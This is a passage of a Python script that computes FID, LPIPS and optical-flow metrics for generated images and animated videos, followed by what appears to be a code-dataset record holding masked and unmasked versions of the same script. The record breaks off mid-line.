shift_mask = (movable_scores > immovable_scores).float() print('Flow metrics...') flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, shift_mask > 0) print('LPIPS metrics...') cur_metrics = collections.defaultdict(float) cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1], cur_real_frame)) lpips = [] for l in range(0, frames.shape[0], args.batch): r = min(l + args.batch, frames.shape[0]) lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 - shift_mask), cur_real_frame.cuda() * (1 - shift_mask)))) cur_metrics['lpips_anim'] = np.mean(lpips) sum_dicts(cur_metrics, flow_metrics) all_metrics.append(cur_metrics) all_metrics_idx.append(vname) print('Calculating FID...') block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048] fid_model = InceptionV3([block_idx]).cuda() fid_real_means, fid_real_std = _compute_statistics_of_images(real_frames_as_img, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False) for i, cur_gen_frames in animated_frames_by_i.items(): if i % args.skipframe != 0: continue cur_fid_means, cur_fid_std = _compute_statistics_of_images(cur_gen_frames, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False) fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means, fid_real_std, cur_fid_means, cur_fid_std)) all_metrics.append(fid) all_metrics_idx.append('global_metrics') os.makedirs(os.path.dirname(args.outpath), exist_ok=True) sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx) sum_metrics.to_csv(args.outpath, sep='\t') if __name__ == '__main__': import argparse aparser = argparse.ArgumentParser() aparser.add_argument('--outpath', type=str, default='results/metrics.csv', help='Path to file to write metrics to') aparser.add_argument('--gen-images', type=str, default='results/generated/256/images', help='Path to generated images') aparser.add_argument('--gt-images', type=str, default='results/gt_images', help='Path to gt-images') aparser.add_argument('--gen-videos', type=str, default='results/generated/256/noise', help='Path to generated videos (separate folder with frames for each video)') aparser.add_argument('--animated-images', type=str, default='results/encode_and_animate_results/test_images/02_eoif', help='Path to animated images (separate folder with frames for each video)') aparser.add_argument('--real-images', type=str, default='results/test_images', help='Path to real input images') aparser.add_argument('--frametemplate', type=str, default='{:05}.jpg', help='Template to generate frame file names') aparser.add_argument('--resolution', type=int, default=256, help='Resolution of generated frames') aparser.add_argument('--skipframe', type=int, default=10, help='How many frames to skip before evaluating FID') aparser.add_argument('--batch', type=int, default=69, help='Batch size for FID and LPIPS calculation') aparser.add_argument('--segm-network', type=str, default=os.path.join(constants.RESULT_DIR, 'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'), help='Path to ade20k-resnet50dilated-ppm_deepsup') aparser.add_argument('--flow-network', type=str, default=os.path.join(constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'), help='Path to SuperSloMo.ckpt') aparser.add_argument('--lpips-network', type=str, default=os.path.join(constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'), help='Path to vgg.pth') main(aparser.parse_args())
flexible
{ "blob_id": "f6846bfc6c4d803cedaf37e079e01188733938c7", "index": 8249, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef calc_optical_flow_metrics(flow_predictor, frames, movable_mask):\n if not movable_mask.any():\n return dict(flow_l2=float('nan'))\n assert not (frames < 0).any() and not (frames > 1).any()\n flows = flow_predictor.predict_flow(frames * 2 - 1)[1]\n flows_x, flows_y = flows[:, [0]], flows[:, [1]]\n flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean()\n )\n flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean()\n )\n result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5)\n return result\n\n\ndef batch2pil(batch):\n np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu(\n ).numpy().astype('uint8')\n return [Image.fromarray(ar) for ar in np_batch]\n\n\ndef main(args):\n segmentation_network = SegmentationModule(os.path.expandvars(args.\n segm_network)).cuda()\n segmentation_network.eval()\n lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda()\n flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network))\n all_metrics = []\n all_metrics_idx = []\n gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n gen_images), '*.jpg')))\n gen_frames_as_img = []\n for fname in gen_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n frame_img = batch2pil(frame_batch)[0]\n gen_frames_as_img.append(frame_img)\n gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n gt_images), '*.jpg')))\n gt_frames_as_img = []\n for fname in gt_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=\n 'bilinear', align_corners=False)\n crop_y1, crop_y2, crop_x1, crop_x2 = (\n choose_center_full_size_crop_params(*frame_batch.shape[2:]))\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n frame_img = batch2pil(frame_batch)[0]\n gt_frames_as_img.append(frame_img)\n print('Calculating FID for images...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img,\n fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False\n )\n fid_gen_means, fid_gen_std = _compute_statistics_of_images(\n gen_frames_as_img, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n fid = dict()\n fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means,\n fid_gt_std, fid_gen_means, fid_gen_std))\n for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=\n args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n cur_segm_scores = segmentation_network.predict(frames[:1].cuda(),\n imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True\n )[0]\n immovable_scores = cur_segm_proba[:, [c for c in range(\n cur_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(1,\n keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, \n shift_mask > 0)\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n lpips = []\n for l in range(1, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -\n shift_mask), frames[0].cuda() * (1 - shift_mask))))\n cur_metrics['lpips_gen'] = np.mean(lpips)\n sum_dicts(cur_metrics, flow_metrics)\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n real_images), '*.jpg')))\n real_frames_as_img = []\n real_frames_with_segm = {}\n for fname in real_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n frame_batch = image2batch(frame).cuda()\n frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max(\n ) - frame_batch.min())\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=\n 'bilinear', align_corners=False)\n crop_y1, crop_y2, crop_x1, crop_x2 = (\n choose_center_full_size_crop_params(*frame_batch.shape[2:]))\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n frame_img = batch2pil(frame_batch)[0]\n real_frames_as_img.append(frame_img)\n cur_segm_scores = segmentation_network.predict(frame_batch,\n imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n f_id = os.path.splitext(os.path.basename(fname))[0]\n real_frames_with_segm[f_id] = frame_batch, cur_segm_proba\n animated_frames_by_i = collections.defaultdict(list)\n for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=\n args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n for i, fr in enumerate(batch2pil(frames)):\n animated_frames_by_i[i].append(fr)\n cur_real_frame = None\n cur_real_segm_proba = None\n for frname, (fr, segm) in real_frames_with_segm.items():\n if vname.startswith(frname):\n cur_real_frame = fr\n cur_real_segm_proba = segm\n break\n assert cur_real_frame is not None, (vname, real_frames_with_segm.keys()\n )\n movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1,\n keepdim=True)[0]\n immovable_scores = cur_real_segm_proba[:, [c for c in range(\n cur_real_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(\n 1, keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, \n shift_mask > 0)\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1],\n cur_real_frame))\n lpips = []\n for l in range(0, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -\n shift_mask), cur_real_frame.cuda() * (1 - shift_mask))))\n cur_metrics['lpips_anim'] = np.mean(lpips)\n sum_dicts(cur_metrics, flow_metrics)\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n print('Calculating FID...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_real_means, fid_real_std = _compute_statistics_of_images(\n real_frames_as_img, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n for i, cur_gen_frames in animated_frames_by_i.items():\n if i % args.skipframe != 0:\n continue\n cur_fid_means, cur_fid_std = _compute_statistics_of_images(\n cur_gen_frames, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means,\n fid_real_std, cur_fid_means, cur_fid_std))\n all_metrics.append(fid)\n all_metrics_idx.append('global_metrics')\n os.makedirs(os.path.dirname(args.outpath), exist_ok=True)\n sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx)\n sum_metrics.to_csv(args.outpath, sep='\\t')\n\n\nif __name__ == '__main__':\n import argparse\n aparser = argparse.ArgumentParser()\n aparser.add_argument('--outpath', type=str, default=\n 'results/metrics.csv', help='Path to file to write metrics to')\n aparser.add_argument('--gen-images', type=str, default=\n 'results/generated/256/images', help='Path to generated images')\n aparser.add_argument('--gt-images', type=str, default=\n 'results/gt_images', help='Path to gt-images')\n aparser.add_argument('--gen-videos', type=str, default=\n 'results/generated/256/noise', help=\n 'Path to generated videos (separate folder with frames for each video)'\n )\n aparser.add_argument('--animated-images', type=str, default=\n 'results/encode_and_animate_results/test_images/02_eoif', help=\n 'Path to animated images (separate folder with frames for each video)')\n aparser.add_argument('--real-images', type=str, default=\n 'results/test_images', help='Path to real input images')\n aparser.add_argument('--frametemplate', type=str, default='{:05}.jpg',\n help='Template to generate frame file names')\n aparser.add_argument('--resolution', type=int, default=256, help=\n 'Resolution of generated frames')\n aparser.add_argument('--skipframe', type=int, default=10, help=\n 'How many frames to skip before evaluating FID')\n aparser.add_argument('--batch', type=int, default=69, help=\n 'Batch size for FID and LPIPS calculation')\n aparser.add_argument('--segm-network', type=str, default=os.path.join(\n constants.RESULT_DIR,\n 'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'), help=\n 'Path to ade20k-resnet50dilated-ppm_deepsup')\n aparser.add_argument('--flow-network', type=str, default=os.path.join(\n constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'), help=\n 'Path to SuperSloMo.ckpt')\n aparser.add_argument('--lpips-network', type=str, default=os.path.join(\n constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'),\n help='Path to vgg.pth')\n main(aparser.parse_args())\n", "step-3": "<mask token>\nMOVABLE_CLASSES = [2, 21]\n\n\ndef calc_optical_flow_metrics(flow_predictor, frames, movable_mask):\n if not movable_mask.any():\n return dict(flow_l2=float('nan'))\n assert not (frames < 0).any() and not (frames > 1).any()\n flows = flow_predictor.predict_flow(frames * 2 - 1)[1]\n flows_x, flows_y = flows[:, [0]], flows[:, [1]]\n flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean()\n )\n flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean()\n )\n result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5)\n return result\n\n\ndef batch2pil(batch):\n np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu(\n ).numpy().astype('uint8')\n return [Image.fromarray(ar) for ar in np_batch]\n\n\ndef main(args):\n segmentation_network = SegmentationModule(os.path.expandvars(args.\n segm_network)).cuda()\n segmentation_network.eval()\n lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda()\n flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network))\n all_metrics = []\n all_metrics_idx = []\n gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n gen_images), '*.jpg')))\n gen_frames_as_img = []\n for fname in gen_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n frame_img = batch2pil(frame_batch)[0]\n gen_frames_as_img.append(frame_img)\n gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n gt_images), '*.jpg')))\n gt_frames_as_img = []\n for fname in gt_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=\n 'bilinear', align_corners=False)\n crop_y1, crop_y2, crop_x1, crop_x2 = (\n choose_center_full_size_crop_params(*frame_batch.shape[2:]))\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n frame_img = batch2pil(frame_batch)[0]\n gt_frames_as_img.append(frame_img)\n print('Calculating FID for images...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img,\n fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False\n )\n fid_gen_means, fid_gen_std = _compute_statistics_of_images(\n gen_frames_as_img, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n fid = dict()\n fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means,\n fid_gt_std, fid_gen_means, fid_gen_std))\n for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=\n args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n cur_segm_scores = segmentation_network.predict(frames[:1].cuda(),\n imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True\n )[0]\n immovable_scores = cur_segm_proba[:, [c for c in range(\n cur_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(1,\n keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, \n shift_mask > 0)\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n lpips = []\n for l in range(1, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -\n shift_mask), frames[0].cuda() * (1 - shift_mask))))\n cur_metrics['lpips_gen'] = np.mean(lpips)\n sum_dicts(cur_metrics, flow_metrics)\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n real_images), '*.jpg')))\n real_frames_as_img = []\n real_frames_with_segm = {}\n for fname in real_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n frame_batch = image2batch(frame).cuda()\n frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max(\n ) - frame_batch.min())\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=\n 'bilinear', align_corners=False)\n crop_y1, crop_y2, crop_x1, crop_x2 = (\n choose_center_full_size_crop_params(*frame_batch.shape[2:]))\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n frame_img = batch2pil(frame_batch)[0]\n real_frames_as_img.append(frame_img)\n cur_segm_scores = segmentation_network.predict(frame_batch,\n imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n f_id = os.path.splitext(os.path.basename(fname))[0]\n real_frames_with_segm[f_id] = frame_batch, cur_segm_proba\n animated_frames_by_i = collections.defaultdict(list)\n for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=\n args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n for i, fr in enumerate(batch2pil(frames)):\n animated_frames_by_i[i].append(fr)\n cur_real_frame = None\n cur_real_segm_proba = None\n for frname, (fr, segm) in real_frames_with_segm.items():\n if vname.startswith(frname):\n cur_real_frame = fr\n cur_real_segm_proba = segm\n break\n assert cur_real_frame is not None, (vname, real_frames_with_segm.keys()\n )\n movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1,\n keepdim=True)[0]\n immovable_scores = cur_real_segm_proba[:, [c for c in range(\n cur_real_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(\n 1, keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, \n shift_mask > 0)\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1],\n cur_real_frame))\n lpips = []\n for l in range(0, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -\n shift_mask), cur_real_frame.cuda() * (1 - shift_mask))))\n cur_metrics['lpips_anim'] = np.mean(lpips)\n sum_dicts(cur_metrics, flow_metrics)\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n print('Calculating FID...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_real_means, fid_real_std = _compute_statistics_of_images(\n real_frames_as_img, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n for i, cur_gen_frames in animated_frames_by_i.items():\n if i % args.skipframe != 0:\n continue\n cur_fid_means, cur_fid_std = _compute_statistics_of_images(\n cur_gen_frames, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means,\n fid_real_std, cur_fid_means, cur_fid_std))\n all_metrics.append(fid)\n all_metrics_idx.append('global_metrics')\n os.makedirs(os.path.dirname(args.outpath), exist_ok=True)\n sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx)\n sum_metrics.to_csv(args.outpath, sep='\\t')\n\n\nif __name__ == '__main__':\n import argparse\n aparser = argparse.ArgumentParser()\n aparser.add_argument('--outpath', type=str, default=\n 'results/metrics.csv', help='Path to file to write metrics to')\n aparser.add_argument('--gen-images', type=str, default=\n 'results/generated/256/images', help='Path to generated images')\n aparser.add_argument('--gt-images', type=str, default=\n 'results/gt_images', help='Path to gt-images')\n aparser.add_argument('--gen-videos', type=str, default=\n 'results/generated/256/noise', help=\n 'Path to generated videos (separate folder with frames for each video)'\n )\n aparser.add_argument('--animated-images', type=str, default=\n 'results/encode_and_animate_results/test_images/02_eoif', help=\n 'Path to animated images (separate folder with frames for each video)')\n aparser.add_argument('--real-images', type=str, default=\n 'results/test_images', help='Path to real input images')\n aparser.add_argument('--frametemplate', type=str, default='{:05}.jpg',\n help='Template to generate frame file names')\n aparser.add_argument('--resolution', type=int, default=256, help=\n 'Resolution of generated frames')\n aparser.add_argument('--skipframe', type=int, default=10, help=\n 'How many frames to skip before evaluating FID')\n aparser.add_argument('--batch', type=int, default=69, help=\n 'Batch size for FID and LPIPS calculation')\n aparser.add_argument('--segm-network', type=str, default=os.path.join(\n constants.RESULT_DIR,\n 'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'), help=\n 'Path to ade20k-resnet50dilated-ppm_deepsup')\n aparser.add_argument('--flow-network', type=str, default=os.path.join(\n constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'), help=\n 'Path to SuperSloMo.ckpt')\n aparser.add_argument('--lpips-network', type=str, default=os.path.join(\n constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'),\n help='Path to vgg.pth')\n main(aparser.parse_args())\n", "step-4": "import collections\nimport glob\nimport os\nimport pandas as pd\nimport numpy as np\nimport torch.nn.functional as F\nimport PIL.Image as Image\nfrom inference.base_image_utils import get_scale_size, image2batch, choose_center_full_size_crop_params\nfrom inference.metrics.fid.fid_score import _compute_statistics_of_images, calculate_frechet_distance\nfrom inference.metrics.fid.inception import InceptionV3\nfrom inference.metrics.lpips import LPIPSLossWrapper\nfrom inference.perspective import load_video_frames_from_folder, FlowPredictor\nfrom inference.segmentation import SegmentationModule\nfrom inference.encode_and_animate import calc_segmentation_posterior_error, sum_dicts\nfrom inference.metrics.ssim import SSIM\nimport constants\nMOVABLE_CLASSES = [2, 21]\n\n\ndef calc_optical_flow_metrics(flow_predictor, frames, movable_mask):\n if not movable_mask.any():\n return dict(flow_l2=float('nan'))\n assert not (frames < 0).any() and not (frames > 1).any()\n flows = flow_predictor.predict_flow(frames * 2 - 1)[1]\n flows_x, flows_y = flows[:, [0]], flows[:, [1]]\n flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean()\n )\n flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean()\n )\n result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5)\n return result\n\n\ndef batch2pil(batch):\n np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu(\n ).numpy().astype('uint8')\n return [Image.fromarray(ar) for ar in np_batch]\n\n\ndef main(args):\n segmentation_network = SegmentationModule(os.path.expandvars(args.\n segm_network)).cuda()\n segmentation_network.eval()\n lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda()\n flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network))\n all_metrics = []\n all_metrics_idx = []\n gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n gen_images), '*.jpg')))\n gen_frames_as_img = []\n for fname in gen_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n frame_img = batch2pil(frame_batch)[0]\n gen_frames_as_img.append(frame_img)\n gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n gt_images), '*.jpg')))\n gt_frames_as_img = []\n for fname in gt_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=\n 'bilinear', align_corners=False)\n crop_y1, crop_y2, crop_x1, crop_x2 = (\n choose_center_full_size_crop_params(*frame_batch.shape[2:]))\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n frame_img = batch2pil(frame_batch)[0]\n gt_frames_as_img.append(frame_img)\n print('Calculating FID for images...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img,\n fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False\n )\n fid_gen_means, fid_gen_std = _compute_statistics_of_images(\n gen_frames_as_img, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n fid = dict()\n fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means,\n fid_gt_std, fid_gen_means, fid_gen_std))\n for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=\n args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n cur_segm_scores = segmentation_network.predict(frames[:1].cuda(),\n imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True\n )[0]\n immovable_scores = cur_segm_proba[:, [c for c in range(\n cur_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(1,\n keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, \n shift_mask > 0)\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n lpips = []\n for l in range(1, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -\n shift_mask), frames[0].cuda() * (1 - shift_mask))))\n cur_metrics['lpips_gen'] = np.mean(lpips)\n sum_dicts(cur_metrics, flow_metrics)\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n real_images), '*.jpg')))\n real_frames_as_img = []\n real_frames_with_segm = {}\n for fname in real_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n frame_batch = image2batch(frame).cuda()\n frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max(\n ) - frame_batch.min())\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=\n 'bilinear', align_corners=False)\n crop_y1, crop_y2, crop_x1, crop_x2 = (\n choose_center_full_size_crop_params(*frame_batch.shape[2:]))\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n frame_img = batch2pil(frame_batch)[0]\n real_frames_as_img.append(frame_img)\n cur_segm_scores = segmentation_network.predict(frame_batch,\n imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n f_id = os.path.splitext(os.path.basename(fname))[0]\n real_frames_with_segm[f_id] = frame_batch, cur_segm_proba\n animated_frames_by_i = collections.defaultdict(list)\n for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=\n args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n for i, fr in enumerate(batch2pil(frames)):\n animated_frames_by_i[i].append(fr)\n cur_real_frame = None\n cur_real_segm_proba = None\n for frname, (fr, segm) in real_frames_with_segm.items():\n if vname.startswith(frname):\n cur_real_frame = fr\n cur_real_segm_proba = segm\n break\n assert cur_real_frame is not None, (vname, real_frames_with_segm.keys()\n )\n movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1,\n keepdim=True)[0]\n immovable_scores = cur_real_segm_proba[:, [c for c in range(\n cur_real_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(\n 1, keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n print('Flow metrics...')\n flow_metrics = 